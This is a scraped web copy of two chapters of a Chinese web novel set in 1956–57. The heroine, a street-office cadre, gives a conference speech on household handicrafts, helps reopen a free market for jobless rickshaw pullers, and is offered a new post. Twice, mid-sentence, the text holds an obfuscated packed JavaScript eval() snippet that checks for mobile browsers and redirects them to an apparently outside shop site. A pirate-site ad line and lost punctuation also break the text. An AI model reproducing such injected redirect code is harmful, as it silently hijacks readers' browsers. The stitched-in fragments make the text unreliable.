今天上午主要是开幕式,刘副市长的致辞结束后,只安排了三个模范单位代表上台发言,就到了午饭时间。 大会给每位参会人员发了两张餐券和一张电影票。 凭参会证和餐券,可在大礼堂东边的食堂吃两顿午餐。 会议结束后,还可凭票来礼堂看电影。 电影名字不知道,工作人员只说是工业纪录片。 叶满枝和刘金宝哪见过这种阵仗啊! 出来开会,不但管饭,居然还请他们看电影! “工业局可真有钱啊!”刘金宝感叹,“要是把开会的待遇告诉赵二贺,他肯定后悔没来!” “哈哈,”叶满枝端着饭盒在食堂里寻找空位,小声说,“工业局财大气粗,地方国营工厂的利润,它要截留50%,你想想它得多有钱吧!请咱们这些人吃两顿饭,完全是小意思!” 刘金宝惊讶道:“你竟然连这个都知道!” “我现在好歹也是个代理厂长啊!” 煤炉厂那样的计划外小厂,市工业局根本就不管。 这些是她在基层干部进修班的课堂上学到的。 原以为进修班主要讲马列,没想到还会提及很多实用的内容,导致叶满枝一堂课也不敢缺席。 她瞅准一个空位,端着饭盒走过去问:“邵同志,咱们能拼个桌吗?” “请坐!”邵迎春点点头,笑着问,“你们是哪个单位的?” “正阳区光明街道办的,下午才轮到我们单位发言,”叶满枝夸赞道 “邵同志你刚才讲得可真好!” 邵迎春是王家洼铁业生产合作社的代表这次他们合作社获得了“走向半机械化一等模范”的称号。 她上午刚做完报告。 “我也是第一次上台发言心里特别紧张。” 叶满枝好奇地问:“我记得你刚才发言的时候提到你们合作社最近几个月都是超额完成任务的工人还会利用业余时间生产计划外产品。你们多生产的这些产品商业局和供销社还会包销吗?” “不会生产任务以外的产品我们都要自行寻找销路。” “那你们生产的这些计划外产品岂不是成了累赘?” 计划外商品有多难寻找销路叶满枝可太清楚了。 邵迎春笑道:“还可以吧 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节)我们的计划产品主要是简易农具拿到乡里的自由市场上售卖还挺畅销的。” 闻言叶满枝和刘金宝同时惊愕道:“你们乡里有自由市场?” 国家要建立社会主义商业早就取缔自由市场了。 对工业品是加工订货统购包销农产品则是统一收购或统购统销。 每件商品的价格是由国家制定的而自由市场上的价格随行就市太“自由”了。 叶满枝已经好几年没见过自由市场了。 刘金宝嘟哝道:“你们乡里胆子挺大啊?” 这不是顶风作案吗? “我们乡里的自由市场是市里允许设立的”邵迎春解释说“市领导在农村搞自由市场试点我们乡就是试点之一好像是想给农民增加一些收入。农民完成国家统购统销的任务以后多余的农副产品可以在市场上售卖。像我们合作社生产的小手工品也可以适当售卖一些。” 叶满枝傻乎乎地问:“农民卖了粮食钱都归自己吧?” “那当然了。” 叶满枝羡慕地说:“我老家也是农村的要是也能搞个自由市场就好了。” 她爷奶每年都摘好多木耳和蘑菇若是能拿到市场上去卖可以给家里增添不少进项。 王家洼太远了倒是可以问问其他试点在哪里。 这个消息让叶满枝和刘金宝都很振奋。 距离春节还有不到一个月的时间要是市 里真的在农村搞了自由市场试点他们就可以去农村赶大集啦! 这可是多少年都没有过的热闹了! * 叶满枝吃了免费的午餐听到了好消息快乐了一中午。 然而等她下午重新坐进大礼堂以后又开始紧张得抠手指了。 当大会报幕员让重型机器厂的代表上台光明街道办的代表准备时她的心跳直接蹿到了顶峰 刘金宝似乎比她还紧张坐在椅子上不停地抖腿。 “小叶你肯定没问题的别紧张啊!” 这一整排的椅子是连在一起的他在旁边抖腿导致叶满枝跟着他一起抖。 她无语道:“行啦抖什么抖!能不能有点出息!” “我这不是替你着急嘛!” “我这个吃饭的还没急你一个舔盘子的急什么?” 刘金宝不抖腿了气愤道:“谁舔盘子啦!” “哈哈说的就是你!” 叶满枝跟他斗了一会儿嘴等她听到报幕员的提醒走上讲台时心情已经稍稍恢复平静了。 她在讲台中央站定正准备将发言稿拿出来脑子里倏地嗡了一下。 为了发言时形象好看她将外面的军大衣脱了。 而她刚才光顾着紧张和斗嘴上台时忘记拿军大衣口袋里的发言稿啦! 观众席里黑压压全是参会代表站在明亮的讲台上她甚至搜寻不到自己刚刚的座位。 她总不能喊刘金宝送稿子上来吧? 那也太丢脸了。 见她一直没动静报幕员出声提醒:“光明街道办的代表可以开始发言了!” 叶满枝能感受到汇聚在自己身上的无数道视线尤其是第一排那里坐着市长和各单位的领导。 讲台和观众席的过道间还有好几家报社的记者。 她今天若是在台上掉了链子可就是在全市人民面前丢人了! 叶满枝深吸一口气让大脑尽快重新运转起来。 她没去管自己紧张到发麻的左手走到话筒前尽量控制自己的声线不让别人听出她声音里的颤抖。 “各位工业劳动模范各位领导各位同志大家好!我是 正阳区光明街道办事处的代表叶满枝,此次大会授予了光明街道办‘走向社会主义工业化二等模范’的称号,感谢大会对我们工作成绩的肯定。 “在场的一些同志也许会比较疑惑,大会总共颁发了十个模范单位奖项,前面九个都是一等模范,为什么到了光明街这里,却变成二等模范了呢? 台下有人跟着点头。 获奖名单已经张贴在外面的布告栏上了,参会人员基本都看过。 模范单位的评奖,确实比较奇怪。 一溜一等模范后面,跟了一个二等模范。 叶满枝平复了一下心跳,笑容可掬道:“说来比较惭愧,其他单位获奖,都是因为大工业或半机械化的手工业,而我们光明街道办获奖,是因为在家庭手工业方面取得了比较突出的成绩。 “1956年第四季度,光明街的家庭手工业收入,同比增长312%,环比增长303%。涨幅位列全市第一!所以,市领导想让我们来大会上分享一下成功经验! 哗—— 前面几个单位的涨幅能有80%就已经很值得炫耀了。 这个小小的街道办,涨幅居然超过300%,这涨幅是绑上窜天猴了吗? 尽管家庭手工业的基数比较小,但能有这个涨幅,也很了不起了。 现场不少基层单位的代表,都坐正了身体。 街道和农村都要组织开展家庭手工业,兴许可以从光明街这里吸取一些有用的经验。 “在分享经验之前,我想先给大家讲一个小故事。 “咱们滨江市有一位刘奶奶,这位刘奶奶一辈子都有一个习惯,什么习惯呢,就是去江边洗衣服!尽管她家里已经引入了市政自来水,但这个习惯是从小养成的,人家老太太改不了! 有人腹诽,未必是习惯改不了,也许是想省点水费。 “老一辈人洗衣服习惯用洗衣棒槌,但是刘奶奶的洗衣棒槌在今年夏天用坏了。她跑遍她家附近的五个供销社,甚至还去了市里的百货大楼,都没能买到这个洗衣棒槌。 “刘奶奶想着可能是自己的工具落后了,洗衣棒槌已经没有厂家生产了,于是听从女儿的建议,去供销社购买洗衣板。然而,滑稽的一幕再次发生了,刘奶奶又跑了 五个供销社这五个供销社要么没货要么只有展示用的样品。刘奶奶无功而返最终由她女儿在城郊的一处公私合营杂货铺买到了洗衣板。” 叶满枝望着台下笑着说:“这个故事不是我编的而是真实发生过的事情。有兴趣的同志可以翻看一下1956年8月27日的《滨江日报》第四版当天的民生板块就介绍了刘奶奶的遭遇。” “这样的生活小事大家也许并没有特别留意过。事实上除了洗衣棒槌和洗衣板脱销还有很多家用杂物比如家家户户都能用到的扫帚、刷子、擀面杖、晾衣服的夹子、菜刀都曾相继出现过脱销的情况。” “根据滨江手工业批发市场的统计去年市场所经营的品种由过去的1396种减少到了532种。就像刘奶奶遇到的那样目前出售这些商品的商店货架子上多半是空的有的只是摆出几件样品对外展示。据市场管理人员所说目前这种减少的趋势还没有完全停止。” 台下忽地多出不少议论声第一排的市领导们也偏头相互交流着。 有人觉得她这话危言耸听但批发市场的统计数据不会造假。 这兴许就是大家不愿意看到的真实情况。 叶满枝感觉自己的手指似乎没那么麻了她握上话筒继续说:“注意到这种情况后我想了很多种可能为什么家用小件会突然消失这么多呢?归其原因还是生产家用小商品的工厂少了。” “过去一年是咱们滨江工业生产飞速发展的一年。刘副市长在开幕致辞时提到由于工具、资金的集中和技术力量的合理调配1956年全市手工业生产总值高达两亿元比前年增长了70%。” “尽管批发市场的日用小商品种类减少了但是在大工业方面增加了800多个新品种。这些产品对支援工业和农业生产起了很大作用。” “说到这里我就不得不提一下咱们市里的工业政策了——为农业生产服务为大工业服务为城乡人民生活服务。” “为了实现这个目标很多单位搞起了合作化小作坊变成合作社小合作社变成大合作社。很多单位在合作化以后 台下工厂和合作社的代表纷纷颔首。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465585|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工厂要生存下去,生产更赚钱的产品是必然趋势。 有了造飞机的技术水平,谁还生产铁锹啊? 这也是一种浪费! “根据对金属、木制、缝纫三个主要行业的调查,全市100人以上的生产合作社占比在85%,50人以下的占15%,10人以下的几乎没有。这些合作社不仅人员众多,而且产品品类繁多,有的甚至有数百种,对管理造成很大的不便。 “我特意去走访过全市最大的木制品加工厂——正阳区第十木制品合作社。全区制材、制棺、木器、染木等,几乎所有跟木头相关的产品都在这里。但是由于产品种类过多,不便于管理,现在第十木制品合作社,只生产诸如办公桌椅、乒乓球台、卷宗柜这样的大宗产品。而洗衣板、面板、筷子这样的日用小件已经停止生产了。 “另外,还有今天上午刚刚发言的王家洼铁业生产合作社,其实也是这种情况。 眼见第一排的市领导神色凝重,叶满枝赶忙摆手解释。 “领导,我可不是要给这些合作社告状啊!人家生产经营情况特别好,技术上还一直在取得进步,咱们可不能批评人家! 观众席间气氛一松,传出一阵哄笑声。 “说了这么多,只是想提醒各位基层单位的同仁,那些合作社都相继合并,追逐更高的目标去了!而被他们放弃的家用小百货,其实是咱们发展家庭手工业的大好机会! “家庭手工业有什么特点呢?人数众多、人员分散、场地有限,且从业者大多是家庭妇女和闲散劳动力。说得直白一些,咱们家庭手工业,技术水平低,船小好调头。 “只要做好市场调研,咱们家庭手工业生产出来的产品,就不愁销路。 “当然,作市场调研不能三天打鱼两天晒网,上个月的行情未必适用于下个月。咱们街道和乡镇的同志,要随时派人去批发市场或供销社了解行情。 叶满枝望向台下,提高声音说:“以光明街10月份的几个订单举例。第二居委会的木工小组,在3天内生产了50个洗衣板,送给街道供销社以后,小组长仍想继续组织生产,却被我们的市场顾问拦了下来。因为本区9家供销社的洗衣板都 货源充足,反而是菜板有缺货现象,所以,木工小组就立即更改计划,转而生产菜板。一个月的时间,他们生产了14种22个规格的商品,所有商品无一例外都被供销社采购了。 “除了‘随行就市、应季而销’,光明街的家庭手工业还积极响应市里增产节约的号召。与大工业协作,用一些工厂剩余的下脚料生产了许多小商品。 “比如我们的铁艺小组,利用656厂剩余的铁皮边角料冲压汽水瓶盖,剩余的边角料继续做发卡,再剩下来的,可以做鞋孔气眼,或是鞋带前面的梢头。 叶满枝走出讲台,在自己的皮鞋上比划了一下。 “这套流程走下来,哪怕是铁皮边角料也没有一点点浪费。只要咱们工作人员将各环节组织好,哪怕是家庭手工业之间也可以大搞协作,大搞增产节约! 她所说的这套生产流程堪称节约到极致了。 台下不少代表都惊呆了。 刘副市长就是负责工业生产,动员企业大搞增产节约的领导。 这个街道的产量虽然不大,但人家把市里的号召听进去了。 大工厂的边角料基本不会收钱,街道居民利用免费的边角料,只出一些人力就能赚钱。 也难怪人家光明街的手工业收入能大幅增长。 刘副市长率先给光明街的做法鼓了掌。 有了领导带头,其他观众也献上了自己的掌声。 叶满枝快速在心里回忆了一遍自己的发言稿,似乎没有什么遗漏的内容了。 于是,她开始说自己早就准备好的结束语。 “1956年已经结束了,在1957年,党和国家要求我们进一步巩固社会主义建设事业取得的伟大成果,同时要求我们本着勤俭建国的精神,开展增产节约运动。我们光明街道办事处在此次大会上被授予了二等模范的称号,在新的一年,我们还要在党的领导下,向一等模范们多多学习,争取完满完成第一个五年计划,为第二个五年计划的实施,创造最有利的条件! 发言结束,叶满枝在全场的掌声中,深深鞠躬,走下讲台。 回到观众席以后,她赶紧问刘金宝,“我刚才表现得怎么样? “好像跟你准备的发言稿不太一样啊? “啊?我有说错的地方吗?” “你说的好像比写的还好呢!” 叶满枝窃喜,“嘿嘿,我发言稿上没写领导的讲话内容,在台上的时候临时把刘副市长的讲话加进去了。” 自己的任务完成了,让叶满枝彻底松弛了下来。 之后几个单位的发言,她都听得特别轻松。 第一天只是模范单位的发言,第二天才是劳动模范发言。 当天会议结束后,刘金宝提议,“要不咱把二等模范的奖金领了吧?就在隔壁的市人委。” “行,我带工作证了,今天领锦旗和奖金,省得夜长梦多。” 两人走出大礼堂,前往不远处的市人委办公楼 然而,还没走到近前,就远远瞧见上百号工人,在人委门前扯起了横幅。 他俩快步走过去,发现扯横幅的都是被砸了饭碗的人力车夫。 人群里居然还有好几个他们熟悉的面孔,应该是光明街的居民。 “完了,穆主任在家里等着他们闹事,结果人家没去街道闹事,直接来市里闹了!” 刘金宝拉住一个中年男人问:“大哥,市里取缔黄包车以后,肯定会安排新工作,你们闹什么呀!” “呵呵,不闹不行,你看全市有多少黄包车师傅?几千上万了吧?市里哪需要这么多公交车司机?除了那些有门路的能去开公共汽车,其他人还不知会安排去哪里。” 会哭的孩子有奶吃,不管怎样,还是要闹一闹的。 “再说,黄包车被取缔了,我们现在没有工作,等待工作的这段时间,谁给我们发工资啊?” 车夫们七嘴八舌地抱怨着。 而他们所在的运输社和街道办的领导,在接到市里通知后,也相继赶了过来。 叶满枝看到了与运输社主任一起前来的穆主任。 对方刚从自行车后座跳下来,她便上前解释了当下的情况。 而后低声说:“主任,一会儿市领导要让代表进去谈话。我今天刚听说,市里在几个乡镇搞了自由市场试点,咱能不能跟领导商量一下,在光明街也弄一个试点?到时候让这些暂时没有工作的车夫,参加家庭手工业生产,做一些计划外的日常百货,然后去自由市场上销售,暂时帮大家度 第 58 章 挖角的来了 第58章挖角的来了 叶满枝的提议仓促,但时机把握得正好。 市里只在农村搞了几个自由市场试点,说明城里暂时还不具备开放自由市场的条件。 光明街处于城市的最边缘,虽然紧挨着乡镇,但还是城市街道。 若是换个时间申请开办自由市场,市里一定不会开这个口子。 可是,车夫们在市里闹了三天! 大多数人的想法是,反正饭碗已经没了,还怕什么领导! 所以,即使前一天被车队和街道的领导劝了回去,人家第二天仍能继续去人委门口扯横幅。 穆兰和张勤简因此频频往市里跑。 她原本没把叶满枝的提议放在心上,毕竟车夫们闹闹哄哄,劝返工作已经很让她头疼了,哪还有时间考虑什么自由市场! 何况自由市场被关闭了好几年,申请重开可能比劝返车夫还难办。 然而,当她冒着鹅毛大雪,第三次去市里领人的时候,她突然就对小叶的提议动心了! 市里不可能一口气拿出上万个工作岗位,肯定要一步一步,分批次解决。 而车夫们都要养家糊口,决不能一分收入也没有地干等着。 穆兰想通这一点后,亲自跑了一趟紧挨着光明街的工农乡。 劝说工农乡的乡长,跟她一起去市里申请重开自由市场。 自由市场办起来以后,不但能方便光明街的居民,也能为工农乡的农民创收。 这是双方都能得利的好事。 叶满枝不知穆主任是如何操作的,只听说他们区长和隔壁的县长都被请去了市里。 而后没过多久,市里就在工农乡开辟了一个“国家领导下的自由市场”试点。 市场位置在光明街和工农乡的交界处。 批文是周五下发的,叶满枝周六上午就组织全街的手工小组长开了大会。 “咱们街道已经与工农乡商量好了,这周日,也就是明天,正式重新开市!各小组手头还有什么存货,要好好理一理,做好记录,咱们明天把这些库存统一拿到自由市场上销售!” “小叶干部,这也太快了,大家都没有准备时间呢,要不下周再去吧? 叶满枝摆手说:“李大娘,您得这么想,早开市早赚钱。关了四五年的自由市场突然重开,到时候得是什么景象?大家肯定是见到什么都想买,咱们‘家庭手工服务社’就是要趁着这个机会,将以前的存货全都卖出去! “小叶干部说得在理,明天肯定最热闹。要是等到下周,大家该买的都买了,钱也花得差不多了,哪怕咱准备再多东西也是白搭,我看就明天去吧! 自由市场重新开市,有人欢喜有人愁。 二姐的婆婆刘春花是糊纸壳小组的组长,闻言就不满道:“妞妞她小姨,别的组都有能卖的东西,我们组总不能卖纸壳吧?像我们这样的小组怎么办? “大娘,甘蔗没有两头甜的。你们那些纸壳是定向供应给工厂的,订单稳定,向来不缺销路。你要是觉得糊纸壳吃亏了,可以跟其他大娘换一换。 “对啊,老刘,你跟我换吧,我们组现在做炕扫帚呢,一毛五一把,比糊纸壳赚钱。 刘春花不吭声了。 糊纸壳虽然赚得少,却是长期稳定的活儿。 这自由市场也不知道能开到啥时候,万一没几天又被叫停了,那炕扫帚卖给谁去? …… 临近春节,自由市场重新开市,对居民们来说着实算是一件大事。 周日清晨,熟悉的军号声尚未吹响,窗外已经传出了噼里啪啦的炮仗声。 叶满枝翻个身,还想捂住耳朵继续睡,却被常月娥从被窝里挖了出来。 “妈,周末起那么早干嘛? “今天不是有大集吗?哪有赶大集还睡懒觉的?常月娥把她拽起来,“你们那个手工什么社还要出摊,你是当干部的,不得去盯着点吗? 叶满枝的床边是火墙,挨着火墙睡一晚,热得她脸蛋红扑扑的。 她一边抢被子,一边嘟嘟囔囔:“服务社的顾问魏大爷,以前可是当经纪人的,在市场上摆摊的事,听他的就行了,我们都不用瞎掺和。 “那也不行!你赶紧起来,咱们今天去大集上吃早点! 闻言,叶满枝终于不抢被子了,乖乖起床穿衣服,等着去大集上吃饭。 按照市里的要求,粮食、食油、棉花、煤炭等有关国计民生的主要商品,还 是要统购统销的。 自由市场上只能卖日用百货和小土产。 而这个小土产的范围其实是比较难以界定的。 能否把自家剩余的粮食变成小土产,就要看劳动人民的智慧了。 叶满枝跟着常月娥出门时,天刚蒙蒙亮,市里给自由市场划拨的那片区域,已经有很多人在摆摊了。 她的目光四处寻摸,企图寻找点好吃的。 不过,由于天气太冷,几乎所有卖吃食的筐子都被盖了一层棉被保温,她实在摸不清那些筐子里装了什么东西。 只有一个摊位前竖着一块纸板,写着“朝鲜打糕”。 虽然每一个字都缺胳膊少腿,但不影响理解。 叶满枝赶紧拉着常月娥走过去,“同志,打糕怎么卖啊?” “小叶干部,我也不知道这打糕怎么定价,你先吃两块吧,不收你的钱。” 叶满枝听到她的声音才发现,对面这位把头脸都捂得严严实实的女人,竟然是薛巧儿。 “巧儿,这打糕是你做的啊?” “对,居委会的大娘说今天自由市场要开市,我就连夜做了些朝鲜打糕,想来碰碰运气。” 市场上不让倒卖粮食,但粮食制品,尤其是她做的这种特色小吃,似乎可以卖,刚才工商所的同志在她附近徘徊了半天,也没制止她卖打糕。 “姐姐,你尝尝我妈做的打糕,可好吃了!”薛巧儿的大儿子将棉帘打开,笨拙地为顾客推销他家的打糕。 “那我尝一块,”叶满枝笑问,“国庆,这纸牌子上的字是你写的吧?看来你读书不错呀!刚念了一学期,就能写这么难的字了!你妈妈这学费花得值了!” “朝鲜我不会写,让隔壁张爷爷帮着写的。”郑国庆见她吃了自家打糕,紧张地问,“好吃吗?” “好吃,面皮又软又细,不比副食商店的差,我觉得你们可以卖四分钱一块。” “四分钱是不是太贵了?”薛巧儿犹豫道,“一斤黏米才一毛五。” 一斤黏米至少能做出二十块打糕。 “豆沙不花钱啊?白糖不花钱啊?还有粮票糖票和你的人力成本呢!在副食商店买一斤打糕要七八毛呢,我觉得四分钱一块已经很实惠了。” 叶满枝把饭 盒递给国庆“你帮我装二十块打糕。” “你能吃这么多?”郑国庆狐疑地问。 这打糕分量不小他吃三四块就饱了。 “我家人多回家分一分就没了。”叶满枝扭头问“巧儿我听说市里已经给你在纺织厂安排工作了你怎么还出来摆摊?” 黄包车夫里面的女同志占比很少且都有养家的重担所以市里最先给女师傅们解决了工作问题。 几乎所有女师傅都被推荐去纺织厂当工人了。 纺织厂的女工多时下好多女孩的梦想不是读书考大学而是考进纺织厂当工人捧上铁饭碗。 薛巧儿没什么文化不用通过考试就能进纺织厂当女工也算因祸得福了。 “我不想去纺织厂上班”薛巧儿把棉帘盖好低着头说“我请市里帮我重新安排其他工作了。” “纺织厂是国营工厂正式工的待遇很好的你放弃了多可惜啊!再说其他车夫的工作还没落实你放弃了这次机会以后市里未必会帮你安排第二次工作不知要等到什么时候才能轮到你。” 见她低着头不说话常月娥用手肘捅了捅闺女 等孩子答应着跑远后她才问:“是不是纺织厂那边有人说你闲话了?” 薛巧儿沉默了一阵然后很轻地点点头。 “啧他们说他们的你这么多年都顺顺当当熬过来了还怕人说什么闲话!纺织厂那是多好的工作那不比你拉车轻松嘛放弃了多可惜啊!” “她们嫌我出身不好扔我东西……” 蹬三轮虽然辛苦但大多数时候是薛巧儿一个人工作她独来独往听不到什么难听话。 但纺织厂里是集体作业过集体生活任何消息都传得特别快。 她刚去纺织厂上班两天那些过往就被人扒了出来。 而且她跟瘫痪的郑东离了婚光明街以外的人不知道事情始末只以为是她抛弃了郑东。 有人把她装衣服的包袱扔出了换衣间还有人当着她的面指桑骂槐说什么婊子无情戏子无义。 常月娥皱眉问:“你才上班几天 啊,以前的事这么快就被人挖出来了?他们说什么,你不承认就是了!” “本来就是真的,我不承认也没用。” 常月娥四下瞅瞅,低声说:“你都从良多少年了!以前的事谁还记得清楚!你就说你在柳梢胡同里是负责烧水做饭的,其他什么也没干!” 叶满枝和薛巧儿:“::::::” 这谎撒得也太没水平了,谁信啊? “你们年轻人真是死心眼儿!”常月娥直白道,“除了你以前那些客人和你男人,谁知道你到底咋回事?当年给你体检的大夫早就不记得你这号人了。你就说你是清白的,以前那些逛窑子的男人还能有脸跳出来反对啊?你前夫就更不可能戳穿你了!” “::::::” “有句话叫三人成虎,懂不懂?你以后就这样跟人解释,说的次数多了,假的也成真的了。你早就从了良,没危害社会,也别干伤害他人的事,以前是真窑姐儿还是假窑姐儿,有那么重要吗?当初柳梢胡同里有那么多女人,郑东能把你带回家,更能印证你的清白。以后要是还有人敢嘀咕你,你就硬气泼辣点,直说自己是清白人!” 叶满枝:“……” 她再一次对亲妈刮目相看了。 可以考虑把常月娥同志发展成街道积极分子。 薛巧儿自认不是什么死脑筋的人,但她还真的从没往这个方向考虑过。 主要是她以前那些事都是真的,人家说她,她就只能认了,没想到还能这么干。 她把眼里的泪水逼了回去,后悔道:“但我周五的时候甩了那人一巴掌,车间主任让我回家反省,昨天也没让我去上班。我们这批分配过去的女工还在试用期,主任评分不合格的话,会被退回原单位。他们本来就对我有偏见,我这次还打了人,可能真的留不下来了。” 常月娥叹气:“年轻人太冲动了。” 叶满枝想了想说:“你先回纺织厂上班,尽量跟主任说说好话,铁饭碗还是要争取的。如果实在不行,你也别气馁,咱们街道办偶尔也有工作指标,我帮你留意着。实在不行,你就去煤炉厂上班。天无绝人之路,日子总能越过越好的。” 话虽如此,但煤炉厂卖的是季节性产品,开春以后恐怕就用不了那么多工人了。 她还是希望薛巧儿能留在纺织厂的。 天亮以后,听到消息来赶大集的居民越来越多,附近几个摊位的生意都红火了起来。叶满枝将打糕钱塞给薛巧儿,让她继续做生意,在对方想要推让时,拉着常月娥跑了。 娘俩在大集上买了不少东西回家。 叶满枝用饭盒挑了几样吃的,打算去一趟吴峥嵘那里。 “你一个大姑娘家家的,总往人家那里跑什么?还没结婚呢,就从家里往那边划拉东西了。常月娥嘟嘟囔囔,又言行不一地倒了一缸子豆浆给她,叮嘱道,“说会儿话就赶紧回来,不许待太长时间。 “知道啦! 叶满枝用毛巾包住饭盒,一路小跑去了16号院。 吴峥嵘正在院子里锯木头,见她一阵风似的跑进来,特意抬头看了看日头,“怎么这时候过来了? 这位小叶同志,周末要睡到九点才肯起床。 他俩从没在周日的早上见过面。 “我今天早上去赶大集了,买了不少好东西。下周还有大集,到时候我带你去见见世面!叶满枝拉着他进屋洗手,又问,“你在院子里弄什么呢?怎么那么多木头? “我准备重新打一张床,吴峥嵘不打算多说,打开饭盒盖子问:“你吃了吗? “我一会儿回家吃去!叶满枝背着手,严肃地说,“吴峥嵘同志,我这里有两个好消息和一个坏消息,你要先听哪个? 吴峥嵘同志往她嘴里塞了一块打糕,笑道:“你的消息还挺多的,先听一个好的吧。 “嗯,可以。 叶满枝想从棉袄下摆掏东西,结果掏到半路被里兜卡住了。 当着吴峥嵘的面脱衣服似乎有些奇怪,于是她背过身去,解开棉袄的扣子,将她揣了一路的相框拿了出来。 “这是我在工业劳动模范大会上发言时的照片,已经刊登在《滨江日报》上了。报社寄给我两张相片,送给你一张吧! 照片的背景是大礼堂的讲台,上方还有模范大会的横幅,叶满枝梳着两根麻花辫,鸡心领的毛衣里面,白衬衫的纽扣系到最上面一颗。 一看就是心红苗壮的社会主义接班人。 吴峥嵘捧着相框端量片刻,在相片的脸蛋上摸了 摸,问:“脸怎么是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465586|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的?” “人家报社的同志帮我上色了!我觉得上色的不如黑白照片好看!”叶满枝遗憾了一阵,又臭美道,“不过也还行吧,底子在这里呢!” 吴峥嵘将相册摆到书房的写字台上,笑着宽慰:“相片拍得挺漂亮,你要是不满意,回头咱们自己多拍几张。” 这年头普通人一年也拍不了一张相片,叶满枝以为他说的是拍结婚相片,便抿着嘴没说话。 从今年开始,结婚登记的流程有了点更改,不但要做婚前体检,还可以往结婚证上贴夫妻俩的相片了。 她转移话题问:“还有一个好消息和一个坏消息,你想先听哪个?” “那就听个坏消息调剂一下吧。” 叶满枝乐道:“坏消息是,你果真料事如神,我妈说我以后回家的门禁改到6点了!” 吴峥嵘:“……” 看来不快点结婚是真的不行了。 眼瞧着他那张俊脸垮了下来,叶满枝失笑,踮起脚尖在他肩上拍了拍,自顾自道:“好消息是,我们国风音乐会要参加第一届全国曲艺汇演,最近每晚都要加紧时间排练。” 吴峥嵘脸上带出明显笑意,反应极快地表态:“那你就好好练习吧,跟阿姨说,让她放心,我每晚负责接送你。” “嗯,辛苦军代表同志。”叶满枝还记着常月娥的叮嘱,将饭盒空出来,就准备回家吃饭了。 吴峥嵘知道丈母娘正对他严防死守,便没再多留她。 送人出门时,又拉住她问:“你去模范大会发言的新闻发在哪个报纸上?” “周一的日报和晚报都有,日报的照片比较大,晚报的基本看不出是我。你问这个干嘛?” “把报纸送回老宅那边,给我爷爷看看。他还挺关心你的进步的。” * 叶满枝在吴峥嵘面前表现平静,好似上报纸完全不值一提。 然而,她出席模范大会并登上报纸这件事,早就在单位和叶家引起轩然大波了。 主要是她在日报上的那张相片尺寸特别可观,仅次于刘副市长和矿务局的一个代表。 是完全能看清五官的那种相片,熟人一眼就能认出她来。 她今天特意把照片送给吴峥嵘,其实也有 点想要显摆显摆的意思。 对方主动将报纸拿给他的爷爷奶奶,算是再次满足了她的虚荣心。 嘿嘿。 她偷偷高兴了一上午,下午又保持着这样的好心情,去党校进修班上课了。 基层干部进修班为期三个月,过完年就会进行结业考试。 叶满枝其实还挺舍不得这个进修班的。 一是她在课堂上学到了不少新东西,二是在进修班结识了好几位新朋友。 进修班的女同志们总是坐在最前排一起上课,时常交流工作上的经验和看法。 人家都是乡长、副镇长这种级别的,几乎与穆主任同级,在阅历和见识方面远超于她。 叶满枝这个新人能从这些老大姐身上学到不少东西。 今天来党校上课,她刚坐进自己的位置,就被几个同学起哄了。 “哎呦,这不是咱们的二等模范代表吗!小叶,你挺厉害啊,年纪轻轻就登上省级日报的头版头条了!” “哈哈,我们单位获得的是集体奖项,都是集体的功劳,我只是代表单位出席的。” 汪敏是红联乡的乡长,笑着说:“家庭手工业每个单位都组织过,大家都不温不火的,只有你们光明街道办做出了这么亮眼的成绩,还因此被授予了奖项。既然你们领导肯让你代表单位去发言,一定是你在这项工作上做出了突出贡献。” 叶满枝谦虚道:“我是第一次负责家庭手工业的工作,其实也是误打误撞的。” “成功没有偶然,手工业收入能有那么大的提升,一定是有原因的。小叶,”汪敏正色问,“你要不要考虑来我们红联乡工作?我现在就能拍板,给你一个工业办主任的位置!” 作者有话要说 一百个红包,明天见~ 感谢在2024-08-1712:30:35~2024-08-1812:34:08期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:是HyunA1个; 感谢投出地雷的小天使:小小墨VS大大白、呲溜一大口、咕咚来了!、城阳呼呼、茗茶、牛牛、战地黄花99、κ?το??、薛漂亮1个; 感谢灌溉 营养液的小天使:流年0412271瓶;土味桌布一条龙171瓶;小猪116瓶;Lyne、chuilian100瓶;慕予80瓶;是HyunA77瓶;是饼饼吖、千离月72瓶;微辣70瓶;兮兮一顾69瓶;琬翫、大眼怪2333、甘草Cph50瓶;非羊49瓶;清溪47瓶;从任、无所谓42瓶;四夕、莘莘的申申40瓶;一一35瓶;再来俩鸡腿儿、Annie、浅若、墨影、阿寅好好、甜橙、陈安、云水母、slash30瓶;JennyWang25瓶;林鹿、xcx24瓶;棉棉棉花21瓶;么么哒、xin、xixi、京娘、哒哒哒、X女士、虎头帽、阿碧瑟、旅途兔兔、公子如玉、森林纪事、72347188、西斋、Qiquen、鲨啦啦、27087825、阿尔贝思、42617061、岐岐栖、行远、小黄、夏天天最可爱了、家有小茄、春秋一大夫、知梦、蔚蔚、彩墨?、69095745、托托、啦啦啦66620瓶;一心、顾沉、22607873、张起灵的小仙女18瓶;初雪、酸辣粉不要醋16瓶;人间好季节15瓶;Trista12瓶;张云雷好11瓶;一条水里的活鱼、依稀记得爱、十年叶、山月小雨、梦与岛、七七的懒懒妈、今天有努力吗、可可可可可、麦糯团子、来生